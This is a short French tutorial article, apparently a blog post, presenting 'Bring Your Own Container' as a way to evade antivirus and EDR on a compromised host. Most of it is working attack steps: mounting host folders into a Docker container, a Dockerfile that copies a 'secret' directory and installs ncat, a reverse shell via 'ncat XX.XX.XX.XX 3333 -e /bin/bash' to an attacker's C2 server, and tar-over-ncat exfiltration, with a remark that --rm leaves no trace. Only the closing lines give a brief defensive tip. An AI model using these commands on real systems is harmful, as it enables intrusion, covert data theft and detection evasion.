Le BYOC (Bring Your Own Container) consiste à déployer vos propres conteneurs dans un environnement cloud et à exploiter certaines de leurs fonctionnalités pour contourner les antivirus et les solutions EDR. Cette pratique vous permet de communiquer directement avec la machine cible sans être détecté par les agents antivirus.

Dans cet article, nous aborderons la définition du BYOC, son fonctionnement et ses avantages.Commençons.
Étape 1 : Importer les données dans le conteneur
En montant le répertoire hôte dans un conteneur
$ docker run --rm -v ~/Desktop:/lib/modules -it ubuntu /bin/bash
# ls /lib/modules // peux verifier les dossiers dans votre repertoire
Lorsqu’un conteneur est démarré avec l’option --rm, il est automatiquement supprimé à sa fermeture.Aucune trace des commandes exécutées dans le conteneur n’est conservée sur l’hôte.Démarrer un conteneur avec l’option --rm indique à Docker de le supprimer automatiquement à sa fermeture.Comme le conteneur est supprimé, les commandes exécutées à l’intérieur ne laissent aucune trace persistante sur le système de fichiers de l’hôte.
- Créer un conteneur contenant les données de l’hôte :
- Créer d’abord un Dockerfile
- Commencez par créer un Dockerfile pour définir l’environnement et la configuration du conteneur.
- Ensuite, créez un conteneur qui inclut ou monte les données de l’hôte, permettant ainsi l’accès aux fichiers et répertoires du système hôte.
FROM ubuntu:latest
COPY ./secret /lib/modules/
RUN apt update && apt install -y ncat
CMD ["/bin/bash"]
Dans le shell Docker
$ docker build -t byoc-poc .
$ docker run --rm -it byoc-poc /bin/bash
Les conteneurs existants sur un terminal compromis peuvent être réutilisés pour exécuter des outils ou maintenir un accès sans créer de nouveaux conteneurs suspects.
Copiez les fichiers avec docker cp et ouvrez un shell interactif dans le conteneur cible avec docker exec -it <container> /bin/sh (ou /bin/bash).
Un shell inversé permet à l’hôte compromis d’établir une connexion avec un serveur de commande et de contrôle (C2) contrôlé par l’attaquant, donnant ainsi à l’opérateur distant un accès interactif. Des outils comme Ncat sont utilisés.
Dans les conteneurs :
# apt update
# apt install ncat
# ncat XX.XX.XX.XX 3333 -e /bin/bash
Étape 2 : Extraire les données du conteneur
L’envoi des données collectées vers un serveur externe contrôlé par un attaquant est appelé exfiltration de données ; cela consiste à déplacer des fichiers sensibles hors de l’hôte compromis vers un emplacement distant.
Dans le conteneur :
# apt update
# apt install ncat
# tar cf - /lib/modules/ | ncat XX.XX.XX.XX 3333
L’exécution d’un shell dans un conteneur peut réduire la visibilité EDR, car de nombreuses solutions de protection des terminaux se concentrent sur les processus hôtes et n’inspectent pas pleinement le fonctionnement interne des conteneurs. Comme Docker est couramment installé et que les images préconfigurées offrent une chaîne d’outils familière, les attaquants (ou les testeurs) peuvent rapidement recréer des environnements sur un terminal compromis. Les équipes de défense doivent donc surveiller les lancements de conteneurs, la provenance des images et toute activité réseau ou de sortie inhabituelle des conteneurs.
C’est tout pour cet article ! N’oubliez pas d’applaudir et de vous abonner pour plus d’articles.